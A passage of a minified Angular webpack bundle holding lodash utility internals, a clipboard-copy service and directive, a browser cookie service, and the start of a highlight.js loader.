Bt=ge[et];this.set(Bt[0],Bt[1])}}L1.prototype.clear=function E1(){this.size=0,this.__data__={hash:new P1,map:new(vn||T1),string:new P1}},L1.prototype.delete=function Rn(ge){var et=fn(this,ge).delete(ge);return this.size-=et?1:0,et},L1.prototype.get=function X1(ge){return fn(this,ge).get(ge)},L1.prototype.has=function Fn(ge){return fn(this,ge).has(ge)},L1.prototype.set=function $n(ge,et){var St=fn(this,ge),Bt=St.size;return St.set(ge,et),this.size+=St.size==Bt?0:1,this};const Cn=L1;var Mn="Expected a function";function di(ge,et){if("function"!=typeof ge||null!=et&&"function"!=typeof et)throw new TypeError(Mn);var St=function(){var Bt=arguments,n1=et?et.apply(this,Bt):Bt[0],e1=St.cache;if(e1.has(n1))return e1.get(n1);var x1=ge.apply(this,Bt);return St.cache=e1.set(n1,x1)||e1,x1};return St.cache=new(di.Cache||Cn),St}di.Cache=Cn;const ri=di;var u2=/[^.[\\]]+|\\[(?:(-?\\d+(?:\\.\\d+)?)|(["\'])((?:(?!\\2)[^\\\\]|\\\\.)*?)\\2)\\]|(?=(?:\\.|\\[\\])(?:\\.|\\[\\]|$))/g,dn=/\\\\(\\\\)?/g,Sn=function Nn(ge){var et=ri(ge,function(Bt){return 500===St.size&&St.clear(),Bt}),St=et.cache;return et}(function(ge){var et=[];return 46===ge.charCodeAt(0)&&et.push(""),ge.replace(u2,function(St,Bt,n1,e1){et.push(n1?e1.replace(dn,"$1"):Bt||St)}),et});const Ei=Sn;var ui=S?S.prototype:void 0,pn=ui?ui.toString:void 0;const Qi=function Fi(ge){if("string"==typeof ge)return ge;if(bt(ge))return Be(ge,Fi)+"";if(w(ge))return pn?pn.call(ge):"";var et=ge+"";return"0"==et&&1/ge==-Infinity?"-0":et},hi=function zi(ge){return null==ge?"":Qi(ge)},Ti=function Kn(ge,et){return bt(ge)?ge:ct(ge,et)?[ge]:Ei(hi(ge))};const Ni=function h2(ge){if("string"==typeof ge||w(ge))return ge;var et=ge+"";return"0"==et&&1/ge==-Infinity?"-0":et},Zn=function ei(ge,et){for(var St=0,Bt=(et=Ti(et,ge)).length;null!=ge&&St<Bt;)ge=ge[Ni(et[St++])];return St&&St==Bt?ge:void 0};function jn(ge){var et=this.__data__=new T1(ge);this.size=et.size}jn.prototype.clear=function Hi(){this.__data__=new T1,this.size=0},jn.prototype.delete=function Vi(ge){var et=this.__data__,St=et.delete(ge);return this.size=et.size,St},jn.prototype.get=function x2(ge){return this.__data__.get(ge)},jn.prototype.has=function Bi(ge){return this.__data__.has(ge)},jn.prototype.set=function mn(ge,et){var St=this.__data__;if(St instanceof T1){var Bt=St.__data__;if(!vn||Bt.length<199)return Bt.push([ge,et]),this.size=++St.size,this;St=this.__data__=new Cn(Bt)}return St.set(ge,et),this.size=St.size,this};const fi=jn;function ti(ge){var et=-1,St=null==ge?0:ge.length;for(this.__data__=new Cn;++et<St;)this.add(ge[et])}ti.prototype.add=ti.prototype.push=function o2(ge){return this.__data__.set(ge,"__lodash_hash_undefined__"),this},ti.prototype.has=function ki(ge){return this.__data__.has(ge)};const Oi=ti,bn=function Xi(ge,et){for(var St=-1,Bt=null==ge?0:ge.length;++St<Bt;)if(et(ge[St],St,ge))return!0;return!1},un=function Gi(ge,et){return ge.has(et)};const _n=function m2(ge,et,St,Bt,n1,e1){var x1=1&St,k1=ge.length,J1=et.length;if(k1!=J1&&!(x1&&J1>k1))return!1;var Z1=e1.get(ge),a2=e1.get(et);if(Z1&&a2)return Z1==et&&a2==ge;var $i=-1,ii=!0,b2=2&St?new Oi:void 0;for(e1.set(ge,et),e1.set(et,ge);++$i<k1;){var s2=ge[$i],E2=et[$i];if(Bt)var C2=x1?Bt(E2,s2,$i,et,ge,e1):Bt(s2,E2,$i,ge,et,e1);if(void 0!==C2){if(C2)continue;ii=!1;break}if(b2){if(!bn(et,function(tr,nr){if(!un(b2,nr)&&(s2===tr||n1(s2,tr,St,Bt,e1)))return b2.push(nr)})){ii=!1;break}}else if(s2!==E2&&!n1(s2,E2,St,Bt,e1)){ii=!1;break}}return e1.delete(ge),e1.delete(et),ii},pi=E.Uint8Array,Vn=function si(ge){var et=-1,St=Array(ge.size);return ge.forEach(function(Bt,n1){St[++et]=[n1,Bt]}),St},xn=function v2(ge){var et=-1,St=Array(ge.size);return ge.forEach(function(Bt){St[++et]=Bt}),St};var Tt=S?S.prototype:void 0,t1=Tt?Tt.valueOf:void 0;var Wn=Object.prototype.propertyIsEnumerable,Te=Object.getOwnPropertySymbols,y=Te?function(ge){return null==ge?[]:(ge=Object(ge),function Dn(ge,et){for(var St=-1,Bt=null==ge?0:ge.length,n1=0,e1=[];++St<Bt;){var x1=ge[St];et(x1,St,ge)&&(e1[n1++]=x1)}return e1}(Te(ge),function(et){return Wn.call(ge,et)}))}:function Yn(){return[]};const D=y;var Mt="object"==typeof exports&&exports&&!exports.nodeType&&exports,Ft=Mt&&"object"==typeof module&&module&&!module.nodeType&&module,o1=Ft&&Ft.exports===Mt?E.Buffer:void 0;const A1=(o1?o1.isBuffer:void 0)||function rt(){return!1};var S1=/^(?:0|[1-9]\\d*)$/;const tn=function Q1(ge,et){var St=typeof ge;return!!(et=et??9007199254740991)&&("number"==St||"symbol"!=St&&S1.test(ge))&&ge>-1&&ge%1==0&&ge<et};const wn=function En(ge){return"number"==typeof ge&&ge>-1&&ge%1==0&&ge<=9007199254740991};var g1={};g1["[object Float32Array]"]=g1["[object Float64Array]"]=g1["[object Int8Array]"]=g1["[object Int16Array]"]=g1["[object Int32Array]"]=g1["[object Uint8Array]"]=g1["[object Uint8ClampedArray]"]=g1["[object Uint16Array]"]=g1["[object Uint32Array]"]=!0,g1["[object Arguments]"]=g1["[object Array]"]=g1["[object ArrayBuffer]"]=g1["[object Boolean]"]=g1["[object DataView]"]=g1["[object Date]"]=g1["[object Error]"]=g1["[object Function]"]=g1["[object Map]"]=g1["[object Number]"]=g1["[object Object]"]=g1["[object RegExp]"]=g1["[object Set]"]=g1["[object String]"]=g1["[object WeakMap]"]=!1;const rn=function Ln(ge){return function(et){return ge(et)}};var kn="object"==typeof exports&&exports&&!exports.nodeType&&exports,Di=kn&&"object"==typeof module&&module&&!module.nodeType&&module,t2=Di&&Di.exports===kn&&u.process,mi=function(){try{return Di&&Di.require&&Di.require("util").types||t2&&t2.binding&&t2.binding("util")}catch{}}(),Ai=mi&&mi.isTypedArray;const or=Ai?rn(Ai):function B1(ge){return ce(ge)&&wn(ge.length)&&!!g1[q(ge)]};var br=Object.prototype.hasOwnProperty;const Cr=function K2(ge,et){var St=bt(ge),Bt=!St&&Ke(ge),n1=!St&&!Bt&&A1(ge),e1=!St&&!Bt&&!n1&&or(ge),x1=St||Bt||n1||e1,k1=x1?function Z(ge,et){for(var St=-1,Bt=Array(ge);++St<ge;)Bt[St]=et(St);return Bt}(ge.length,String):[],J1=k1.length;for(var Z1 in ge)(et||br.call(ge,Z1))&&(!x1||!("length"==Z1||n1&&("offset"==Z1||"parent"==Z1)||e1&&("buffer"==Z1||"byteLength"==Z1||"byteOffset"==Z1)||tn(Z1,J1)))&&k1.push(Z1);return k1};var Rr=Object.prototype;var Fr=function cr(ge,et){return function(St){return ge(et(St))}}(Object.keys,Object);const V2=Fr;var Jr=Object.prototype.hasOwnProperty;const Nr=function lr(ge){if(!function _2(ge){var et=ge&&ge.constructor;return ge===("function"==typeof et&&et.prototype||Rr)}(ge))return V2(ge);var et=[];for(var St in Object(ge))Jr.call(ge,St)&&"constructor"!=St&&et.push(St);return et},Z2=function Hr(ge){return null!=ge&&wn(ge.length)&&!m(ge)},Jn=function Xr(ge){return Z2(ge)?Cr(ge):Nr(ge)},Q2=function k2(ge){return function W1(ge,et,St){var Bt=et(ge);return bt(ge)?Bt:a(Bt,St(ge))}(ge,Jn,D)};var O2=Object.prototype.hasOwnProperty;const q2=Ae(E,"DataView"),oi=Ae(E,"Promise"),Ri=Ae(E,"Set"),U2=Ae(E,"WeakMap");var d2="[object Map]",dr="[object Promise]",na="[object Set]",yn="[object WeakMap]",Ur="[object DataView]",Gr=qt(q2),wr=qt(vn),Aa=qt(oi),ia=qt(Ri),ra=qt(U2),I2=q;(q2&&I2(new q2(new ArrayBuffer(1)))!=Ur||vn&&I2(new vn)!=d2||oi&&I2(oi.resolve())!=dr||Ri&&I2(new Ri)!=na||U2&&I2(new U2)!=yn)&&(I2=function(ge){var et=q(ge),St="[object Object]"==et?ge.constructor:void 0,Bt=St?qt(St):"";if(Bt)switch(Bt){case Gr:return Ur;case wr:return d2;case Aa:return dr;case ia:return na;case ra:return yn}return et});const G2=I2;var Sa="[object Arguments]",Xn="[object Array]",y2="[object Object]",Ar=Object.prototype.hasOwnProperty;const R2=function n2(ge,et,St,Bt,n1,e1){var x1=bt(ge),k1=bt(et),J1=x1?Xn:G2(ge),Z1=k1?Xn:G2(et),a2=(J1=J1==Sa?y2:J1)==y2,$i=(Z1=Z1==Sa?y2:Z1)==y2,ii=J1==Z1;if(ii&&A1(ge)){if(!A1(et))return!1;x1=!0,a2=!1}if(ii&&!a2)return e1||(e1=new fi),x1||or(ge)?_n(ge,et,St,Bt,n1,e1):function O1(ge,et,St,Bt,n1,e1,x1){switch(St){case"[object DataView]":if(ge.byteLength!=et.byteLength||ge.byteOffset!=et.byteOffset)return!1;ge=ge.buffer,et=et.buffer;case"[object ArrayBuffer]":return!(ge.byteLength!=et.byteLength||!e1(new pi(ge),new pi(et)));case"[object Boolean]":case"[object Date]":case"[object Number]":return Me(+ge,+et);case"[object Error]":return ge.name==et.name&&ge.message==et.message;case"[object RegExp]":case"[object String]":return ge==et+"";case"[object Map]":var k1=Vn;case"[object Set]":if(k1||(k1=xn),ge.size!=et.size&&!(1&Bt))return!1;var Z1=x1.get(ge);if(Z1)return Z1==et;Bt|=2,x1.set(ge,et);var a2=_n(k1(ge),k1(et),Bt,n1,e1,x1);return x1.delete(ge),a2;case"[object Symbol]":if(t1)return t1.call(ge)==t1.call(et)}return!1}(ge,et,J1,St,Bt,n1,e1);if(!(1&St)){var b2=a2&&Ar.call(ge,"__wrapped__"),s2=$i&&Ar.call(et,"__wrapped__");if(b2||s2){var E2=b2?ge.value():ge,C2=s2?et.value():et;return e1||(e1=new fi),n1(E2,C2,St,Bt,e1)}}return!!ii&&(e1||(e1=new fi),function ea(ge,et,St,Bt,n1,e1){var x1=1&St,k1=Q2(ge),J1=k1.length;if(J1!=Q2(et).length&&!x1)return!1;for(var $i=J1;$i--;){var ii=k1[$i];if(!(x1?ii in et:O2.call(et,ii)))return!1}var b2=e1.get(ge),s2=e1.get(et);if(b2&&s2)return b2==et&&s2==ge;var E2=!0;e1.set(ge,et),e1.set(et,ge);for(var C2=x1;++$i<J1;){var tr=ge[ii=k1[$i]],nr=et[ii];if(Bt)var $r=x1?Bt(nr,tr,ii,et,ge,e1):Bt(tr,nr,ii,ge,et,e1);if(!(void 0===$r?tr===nr||n1(tr,nr,St,Bt,e1):$r)){E2=!1;break}C2||(C2="constructor"==ii)}if(E2&&!C2){var ir=ge.constructor,zr=et.constructor;ir!=zr&&"constructor"in ge&&"constructor"in et&&!("function"==typeof ir&&ir instanceof ir&&"function"==typeof zr&&zr instanceof zr)&&(E2=!1)}return e1.delete(ge),e1.delete(et),E2}(ge,et,St,Bt,n1,e1))},X2=function Sr(ge,et,St,Bt,n1){return ge===et||(null==ge||null==et||!ce(ge)&&!ce(et)?ge!=ge&&et!=et:R2(ge,et,St,Bt,Sr,n1))};const Pi=function oa(ge){return ge==ge&&!Et(ge)},p=function A(ge,et){return function(St){return null!=St&&St[ge]===et&&(void 0!==et||ge in Object(St))}},ne=function V(ge){var et=function jr(ge){for(var et=Jn(ge),St=et.length;St--;){var Bt=et[St],n1=ge[Bt];et[St]=[Bt,n1,Pi(n1)]}return et}(ge);return 1==et.length&&et[0][2]?p(et[0][0],et[0][1]):function(St){return St===ge||function Ea(ge,et,St,Bt){var n1=St.length,e1=n1,x1=!Bt;if(null==ge)return!e1;for(ge=Object(ge);n1--;){var k1=St[n1];if(x1&&k1[2]?k1[1]!==ge[k1[0]]:!(k1[0]in ge))return!1}for(;++n1<e1;){var J1=(k1=St[n1])[0],Z1=ge[J1],a2=k1[1];if(x1&&k1[2]){if(void 0===Z1&&!(J1 in ge))return!1}else{var $i=new fi;if(Bt)var ii=Bt(Z1,a2,J1,ge,et,$i);if(!(void 0===ii?X2(a2,Z1,3,Bt,$i):ii))return!1}}return!0}(St,ge,et)}},$t=function Lt(ge,et){return null!=ge&&et in Object(ge)},On=function q1(ge,et){return null!=ge&&function d1(ge,et,St){for(var Bt=-1,n1=(et=Ti(et,ge)).length,e1=!1;++Bt<n1;){var x1=Ni(et[Bt]);if(!(e1=null!=ge&&St(ge,x1)))break;ge=ge[x1]}return e1||++Bt!=n1?e1:!!(n1=null==ge?0:ge.length)&&wn(n1)&&tn(x1,n1)&&(bt(ge)||Ke(ge))}(ge,et,$t)};const r2=function P2(ge,et){return ct(ge)&&Pi(et)?p(Ni(ge),et):function(St){var Bt=function He(ge,et,St){var Bt=null==ge?void 0:Zn(ge,et);return void 0===Bt?St:Bt}(St,ge);return void 0===Bt&&Bt===et?On(St,ge):X2(et,Bt,3)}},S2=function hr(ge){return ge},ss=function Er(ge){return ct(ge)?function Yr(ge){return function(et){return et?.[ge]}}(Ni(ge)):function as(ge){return function(et){return Zn(et,ge)}}(ge)},za=function js(ge){return"function"==typeof ge?ge:null==ge?S2:"object"==typeof ge?bt(ge)?r2(ge[0],ge[1]):ne(ge):ss(ge)};var cs=function os(ge){return function(et,St,Bt){for(var n1=-1,e1=Object(et),x1=Bt(et),k1=x1.length;k1--;){var J1=x1[ge?k1:++n1];if(!1===St(e1[J1],J1,e1))break}return et}}();const Ta=cs;var ka=function La(ge,et){return function(St,Bt){if(null==St)return St;if(!Z2(St))return ge(St,Bt);for(var n1=St.length,e1=et?n1:-1,x1=Object(St);(et?e1--:++e1<n1)&&!1!==Bt(x1[e1],e1,x1););return St}}(function ls(ge,et){return ge&&Ta(ge,et,Jn)});const Ws=ka,Ks=function la(ge,et){if(ge!==et){var St=void 0!==ge,Bt=null===ge,n1=ge==ge,e1=w(ge),x1=void 0!==et,k1=null===et,J1=et==et,Z1=w(et);if(!k1&&!Z1&&!e1&&ge>et||e1&&x1&&J1&&!k1&&!Z1||Bt&&x1&&J1||!St&&J1||!n1)return 1;if(!Bt&&!e1&&!Z1&&ge<et||Z1&&St&&n1&&!Bt&&!e1||k1&&St&&n1||!x1&&n1||!J1)return-1}return 0},qs=function Qs(ge,et,St){et=et.length?Be(et,function(e1){return bt(e1)?function(x1){return Zn(x1,1===e1.length?e1[0]:e1)}:e1}):[S2];var Bt=-1;et=Be(et,rn(za));var n1=function ca(ge,et){var St=-1,Bt=Z2(ge)?Array(ge.length):[];return Ws(ge,function(n1,e1,x1){Bt[++St]=et(n1,e1,x1)}),Bt}(ge,function(e1,x1,k1){return{criteria:Be(et,function(Z1){return Z1(e1)}),index:++Bt,value:e1}});return function ds(ge,et){var St=ge.length;for(ge.sort(et);St--;)ge[St]=ge[St].value;return ge}(n1,function(e1,x1){return function Zs(ge,et,St){for(var Bt=-1,n1=ge.criteria,e1=et.criteria,x1=n1.length,k1=St.length;++Bt<x1;){var J1=Ks(n1[Bt],e1[Bt]);if(J1)return Bt>=k1?J1:J1*("desc"==St[Bt]?-1:1)}return ge.index-et.index}(e1,x1,St)})},Xs=function Js(ge,et,St){switch(St.length){case 0:return ge.call(et);case 1:return ge.call(et,St[0]);case 2:return ge.call(et,St[0],St[1]);case 3:return ge.call(et,St[0],St[1],St[2])}return ge.apply(et,St)};var hs=Math.max;const Oa=function ha(ge){return function(){return ge}};var fa=function(){try{var ge=Ae(Object,"defineProperty");return ge({},"",{}),ge}catch{}}();const pa=fa;var L2=pa?function(ge,et){return pa(ge,"toString",{configurable:!0,enumerable:!1,value:Oa(et),writable:!0})}:S2,ms=800,gs=16,Ia=Date.now,vs=function ma(ge){var et=0,St=0;return function(){var Bt=Ia(),n1=gs-(Bt-St);if(St=Bt,n1>0){if(++et>=ms)return arguments[0]}else et=0;return ge.apply(void 0,arguments)}}(L2);const _s=vs,Wi=function bs(ge,et,St){if(!Et(St))return!1;var Bt=typeof et;return!!("number"==Bt?Z2(St)&&tn(et,St.length):"string"==Bt&&et in St)&&Me(St[et],ge)};var ga=function Ra(ge,et){return _s(function fs(ge,et,St){return et=hs(void 0===et?ge.length-1:et,0),function(){for(var Bt=arguments,n1=-1,e1=hs(Bt.length-et,0),x1=Array(e1);++n1<e1;)x1[n1]=Bt[et+n1];n1=-1;for(var k1=Array(et+1);++n1<et;)k1[n1]=Bt[n1];return k1[et]=St(x1),Xs(ge,this,k1)}}(ge,et,S2),ge+"")}(function(ge,et){if(null==ge)return[];var St=et.length;return St>1&&Wi(ge,et[0],et[1])?et=[]:St>2&&Wi(et[0],et[1],et[2])&&(et=[et[0]]),qs(ge,We(et,1),[])});const Pa=ga},3447:(At,ae,d)=>{"use strict";d.d(ae,{yb:()=>f,Iq:()=>_});var n=d(6895),a=d(4650);const s=new a.OlP("WindowToken",typeof window<"u"&&window.document?{providedIn:"root",factory:()=>window}:{providedIn:"root",factory:()=>{}});var u=d(8929);let c=(()=>{class S{constructor(C,z,H){this.ngZone=C,this.document=z,this.window=H,this.copySubject=new u.xQ,this.copyResponse$=this.copySubject.asObservable(),this.config={}}configure(C){this.config=C}copy(C){if(!this.isSupported||!C)return this.pushCopyResponse({isSuccess:!1,content:C});const z=this.copyFromContent(C);return this.pushCopyResponse(z?{content:C,isSuccess:z}:{isSuccess:!1,content:C})}get isSupported(){return!!this.document.queryCommandSupported&&!!this.document.queryCommandSupported("copy")&&!!this.window}isTargetValid(C){if(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement){if(C.hasAttribute("disabled"))throw new Error(\'Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute\');return!0}throw new Error("Target should be input or textarea")}copyFromInputElement(C,z=!0){try{this.selectTarget(C);const H=this.copyText();return this.clearSelection(z?C:void 0,this.window),H&&this.isCopySuccessInIE11()}catch{return!1}}isCopySuccessInIE11(){const C=this.window.clipboardData;return!(C&&C.getData&&!C.getData("Text"))}copyFromContent(C,z=this.document.body){if(this.tempTextArea&&!z.contains(this.tempTextArea)&&this.destroy(this.tempTextArea.parentElement||void 0),!this.tempTextArea){this.tempTextArea=this.createTempTextArea(this.document,this.window);try{z.appendChild(this.tempTextArea)}catch{throw new Error("Container should be a Dom element")}}this.tempTextArea.value=C;const H=this.copyFromInputElement(this.tempTextArea,!1);return this.config.cleanUpAfterCopy&&this.destroy(this.tempTextArea.parentElement||void 0),H}destroy(C=this.document.body){this.tempTextArea&&(C.removeChild(this.tempTextArea),this.tempTextArea=void 0)}selectTarget(C){return C.select(),C.setSelectionRange(0,C.value.length),C.value.length}copyText(){return this.document.execCommand("copy")}clearSelection(C,z){C&&C.focus(),z.getSelection()?.removeAllRanges()}createTempTextArea(C,z){const H="rtl"===C.documentElement.getAttribute("dir");let j;return j=C.createElement("textarea"),j.style.fontSize="12pt",j.style.border="0",j.style.padding="0",j.style.margin="0",j.style.position="absolute",j.style[H?"right":"left"]="-9999px",j.style.top=(z.pageYOffset||C.documentElement.scrollTop)+"px",j.setAttribute("readonly",""),j}pushCopyResponse(C){this.copySubject.observers.length>0&&this.ngZone.run(()=>{this.copySubject.next(C)})}pushCopyReponse(C){this.pushCopyResponse(C)}}return S.\\u0275fac=function(C){return new(C||S)(a.LFG(a.R0b),a.LFG(n.K0),a.LFG(s,8))},S.\\u0275prov=a.Yz7({token:S,factory:S.\\u0275fac,providedIn:"root"}),S})(),f=(()=>{class S{constructor(C,z,H,j){this.ngZone=C,this.host=z,this.renderer=H,this.clipboardSrv=j,this.cbOnSuccess=new a.vpe,this.cbOnError=new a.vpe,this.onClick=U=>{this.clipboardSrv.isSupported?this.targetElm&&this.clipboardSrv.isTargetValid(this.targetElm)?this.handleResult(this.clipboardSrv.copyFromInputElement(this.targetElm),this.targetElm.value,U):this.cbContent&&this.handleResult(this.clipboardSrv.copyFromContent(this.cbContent,this.container),this.cbContent,U):this.handleResult(!1,void 0,U)}}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.clickListener=this.renderer.listen(this.host.nativeElement,"click",this.onClick)})}ngOnDestroy(){this.clickListener&&this.clickListener(),this.clipboardSrv.destroy(this.container)}handleResult(C,z,H){let j={isSuccess:C,content:z,successMessage:this.cbSuccessMsg,event:H};C?this.cbOnSuccess.observed&&this.ngZone.run(()=>{this.cbOnSuccess.emit(j)}):this.cbOnError.observed&&this.ngZone.run(()=>{this.cbOnError.emit(j)}),this.clipboardSrv.pushCopyResponse(j)}}return S.\\u0275fac=function(C){return new(C||S)(a.Y36(a.R0b),a.Y36(a.SBq),a.Y36(a.Qsj),a.Y36(c))},S.\\u0275dir=a.lG2({type:S,selectors:[["","ngxClipboard",""]],inputs:{targetElm:["ngxClipboard","targetElm"],container:"container",cbContent:"cbContent",cbSuccessMsg:"cbSuccessMsg"},outputs:{cbOnSuccess:"cbOnSuccess",cbOnError:"cbOnError"}}),S})(),_=(()=>{class S{}return S.\\u0275fac=function(C){return new(C||S)},S.\\u0275mod=a.oAB({type:S}),S.\\u0275inj=a.cJS({imports:[[n.ez]]}),S})()},6201:(At,ae,d)=>{"use strict";d.d(ae,{N_:()=>j,m$:()=>Q});var n=d(4650),a=d(6895);const s=new n.OlP("COOKIE_OPTIONS"),u=new n.OlP("COOKIE_WRITER");function c(oe){return null==oe}function f(oe){return!c(oe)}function S(oe,Ce){return Ce?{path:f(Ce.path)?Ce.path:oe.path,domain:f(Ce.domain)?Ce.domain:oe.domain,expires:f(Ce.expires)?Ce.expires:oe.expires,secure:f(Ce.secure)?Ce.secure:oe.secure,sameSite:f(Ce.sameSite)?Ce.sameSite:oe.sameSite,httpOnly:f(Ce.httpOnly)?Ce.httpOnly:oe.httpOnly,storeUnencoded:f(Ce.storeUnencoded)?Ce.storeUnencoded:oe.storeUnencoded}:oe}function z(oe){try{return decodeURIComponent(oe)}catch{return oe}}let H=(()=>{class oe{constructor(k={},K){this.injector=K,this.defaultOptions={path:this.injector.get(a.mr,"/"),domain:void 0,expires:void 0,secure:!1,httpOnly:!1},this.options=S(this.defaultOptions,k)}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(s),n.LFG(n.zs3))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})(),j=(()=>{class oe{constructor(k,K,se){this.document=k,this.optionsProvider=K,this.cookieWriterService=se,this.options=this.optionsProvider.options}hasKey(k){return f(this.get(k))}get(k){return this.getAll()?.[k]}getObject(k){const K=this.get(k);if(!c(K))return""===K?{}:JSON.parse(K)}getAll(){return function g(oe){let K,se,ee,q,we,Ce={},k="";if(oe!==k)for(k=oe,K=k.split(";"),Ce={},ee=0;ee<K.length;ee++)se=K[ee],q=se.indexOf("="),q>0&&(we=z(se.substring(0,q).trim()),c(Ce[we])&&(Ce[we]=z(se.substring(q+1).trim())));return Ce}(this.cookieWriterService.readAllAsString())}put(k,K,se){const ee=S(this.options,se);this.cookieWriterService.write(k,K,ee)}putObject(k,K,se){this.put(k,JSON.stringify(K),se)}remove(k,K){this.put(k,void 0,K)}removeAll(k){const K=this.getAll();Object.keys(K).forEach(se=>this.remove(se,k))}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(a.K0),n.LFG(H),n.LFG(u))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})(),U=(()=>{class oe{constructor(k){this.document=k}readAllAsString(){return this.document.cookie||""}write(k,K,se){this.document.cookie=function C(oe,Ce,k){let se,K=k?.expires;c(Ce)?(K="Thu, 01 Jan 1970 00:00:00 GMT",se=""):se=Ce,function E(oe){return"string"==typeof oe}(K)&&(K=new Date(K));const ee=k?.storeUnencoded?Ce:encodeURIComponent(se);let q=encodeURIComponent(oe)+"="+ee;q+=k?.path?";path="+k.path:"",q+=k?.domain?";domain="+k.domain:"",q+=K?";expires="+K.toUTCString():"",q+=k?.sameSite?"; SameSite="+k.sameSite:"",q+=k?.secure?";secure":"",q+=k?.httpOnly?"; HttpOnly":"";const we=q.length+1;return we>4096&&console.log("Cookie \'"+oe+"\' possibly not set or overflowed because it was too large ("+we+" > 4096 bytes)!"),q}(k,K,se)}}return oe.\\u0275fac=function(k){return new(k||oe)(n.LFG(a.K0))},oe.\\u0275prov=n.Yz7({token:oe,factory:oe.\\u0275fac}),oe})();function G(oe,Ce,k){return new j(oe,Ce,k)}let Q=(()=>{class oe{static withOptions(k={}){return{ngModule:oe,providers:[{provide:s,useValue:k},{provide:u,useClass:U},{provide:j,useFactory:G,deps:[a.K0,H,u]}]}}static forRoot(k={}){return this.withOptions(k)}static forChild(k={}){return this.withOptions(k)}}return oe.\\u0275fac=function(k){return new(k||oe)},oe.\\u0275mod=n.oAB({type:oe}),oe.\\u0275inj=n.cJS({providers:[H]}),oe})()},8225:(At,ae,d)=>{"use strict";d.d(ae,{rN:()=>ce,y$:()=>Oe,_l:()=>Qe});var n=d(4650),a=d(591),s=d(8896),u=d(1737),c=d(3009),f=d(6688),E=d(3489),_=d(5430),S=d(1177);class C{constructor(qe){this.resultSelector=qe}call(qe,Ke){return Ke.subscribe(new z(qe,this.resultSelector))}}class z extends E.L{constructor(qe,Ke,dt=Object.create(null)){super(qe),this.resultSelector=Ke,this.iterators=[],this.active=0,this.resultSelector="function"==typeof Ke?Ke:void 0}_next(qe){const Ke=this.iterators;(0,f.k)(qe)?Ke.push(new j(qe)):Ke.push("function"==typeof qe[_.hZ]?new H(qe[_.hZ]()):new U(this.destination,this,qe))}_complete(){const qe=this.iterators,Ke=qe.length;if(this.unsubscribe(),0!==Ke){this.active=Ke;for(let dt=0;dt<Ke;dt++){let bt=qe[dt];bt.stillUnsubscribed?this.destination.add(bt.subscribe()):this.active--}}else this.destination.complete()}notifyInactive(){this.active--,0===this.active&&this.destination.complete()}checkIterators(){const qe=this.iterators,Ke=qe.length,dt=this.destination;for(let De=0;De<Ke;De++){let re=qe[De];if("function"==typeof re.hasValue&&!re.hasValue())return}let bt=!1;const ze=[];for(let De=0;De<Ke;De++){let re=qe[De],ve=re.next();if(re.hasCompleted()&&(bt=!0),ve.done)return void dt.complete();ze.push(ve.value)}this.resultSelector?this._tryresultSelector(ze):dt.next(ze),bt&&dt.complete()}_tryresultSelector(qe){let Ke;try{Ke=this.resultSelector.apply(this,qe)}catch(dt){return void this.destination.error(dt)}this.destination.next(Ke)}}class H{constructor(qe){this.iterator=qe,this.nextResult=qe.next()}hasValue(){return!0}next(){const qe=this.nextResult;return this.nextResult=this.iterator.next(),qe}hasCompleted(){const qe=this.nextResult;return Boolean(qe&&qe.done)}}class j{constructor(qe){this.array=qe,this.index=0,this.length=0,this.length=qe.length}[_.hZ](){return this}next(qe){const Ke=this.index++;return Ke<this.length?{value:this.array[Ke],done:!1}:{value:null,done:!0}}hasValue(){return this.array.length>this.index}hasCompleted(){return this.array.length===this.index}}class U extends S.Ds{constructor(qe,Ke,dt){super(qe),this.parent=Ke,this.observable=dt,this.stillUnsubscribed=!0,this.buffer=[],this.isComplete=!1}[_.hZ](){return this}next(){const qe=this.buffer;return 0===qe.length&&this.isComplete?{value:null,done:!0}:{value:qe.shift(),done:!1}}hasValue(){return this.buffer.length>0}hasCompleted(){return 0===this.buffer.length&&this.isComplete}notifyComplete(){this.buffer.length>0?(this.isComplete=!0,this.parent.notifyInactive()):this.destination.complete()}notifyNext(qe){this.buffer.push(qe),this.parent.checkIterators()}subscribe(){return(0,S.ft)(this.observable,new S.IY(this))}}var G=d(5254),Q=d(352),oe=d(2198),Ce=d(4850),k=d(2986),K=d(7545),se=d(2868),ee=d(7221),q=d(6895),we=d(1481);const ce=new n.OlP("HIGHLIGHT_OPTIONS");let je=(()=>{class Ye{constructor(Ke,dt,bt){this.doc=Ke,this._options=bt,this._ready=new a.X(null),this.ready=this._ready.asObservable().pipe((0,oe.h)(ze=>!!ze),(0,Ce.U)(ze=>ze),(0,k.q)(1)),(0,q.NF)(dt)&&(Ke.defaultView.hljs?this._ready.next(Ke.defaultView.hljs):this._loadLibrary().pipe((0,K.w)(ze=>this._options&&this._options.lineNumbersLoader?(Ke.defaultView.hljs=ze,this.loadLineNumbers().pipe((0,se.b)(()=>this._ready.next(ze)))):(this._ready.next(ze),s.E)),(0,ee.K)(ze=>(console.error("[HLJS] ",ze),s.E))).subscribe(),this._options?.themePath&&this.loadTheme(this._options.themePath))}_loadLibrary(){if(this._options){if(this._options.fullLibraryLoader&&this._options.coreLibraryLoader)return(0,u._)(()=>"The full library and the core library were imported, only one of them should be imported!");if(this._options.fullLibraryLoader&&this._options.languages)return(0,u._)(()=>"The highlighting languages were imported they are not needed!");if(this._options.coreLibraryLoader&&!this._options.languages)return(0,u._)(()=>"The highlighting languages were not imported!");if(!this._options.coreLibraryLoader&&this._options.languages)return(0,u._)(()=>"The core library was not imported!");if(this._options.fullLibraryLoader)return this.loadFullLibrary();if(this._options.coreLibraryLoader&&this._options.languages&&Object.keys(this._options.languages).length)return this.loadCoreLibrary().pipe((0,K.w)(Ke=>this._loadLanguages(Ke)))}return(0,u._)(()=>"Highlight.js library was not imported!")}_loadLanguages(Ke){return function g(...Ye){const qe=Ye[Ye.length-1];return"function"==typeof qe&&Ye.pop(),(0,c.n)(Ye,void 0).lift(new C(qe))}(...Object.entries(this._options.languages).map(([bt,ze])=>Ze(ze()).pipe((0,se.b)(De=>Ke.registerLanguage(bt,De))))).pipe((0,Ce.U)(()=>Ke))}loadCoreLibrary(){return Ze(this._options.coreLibraryLoader())}loadFullLibrary(){return 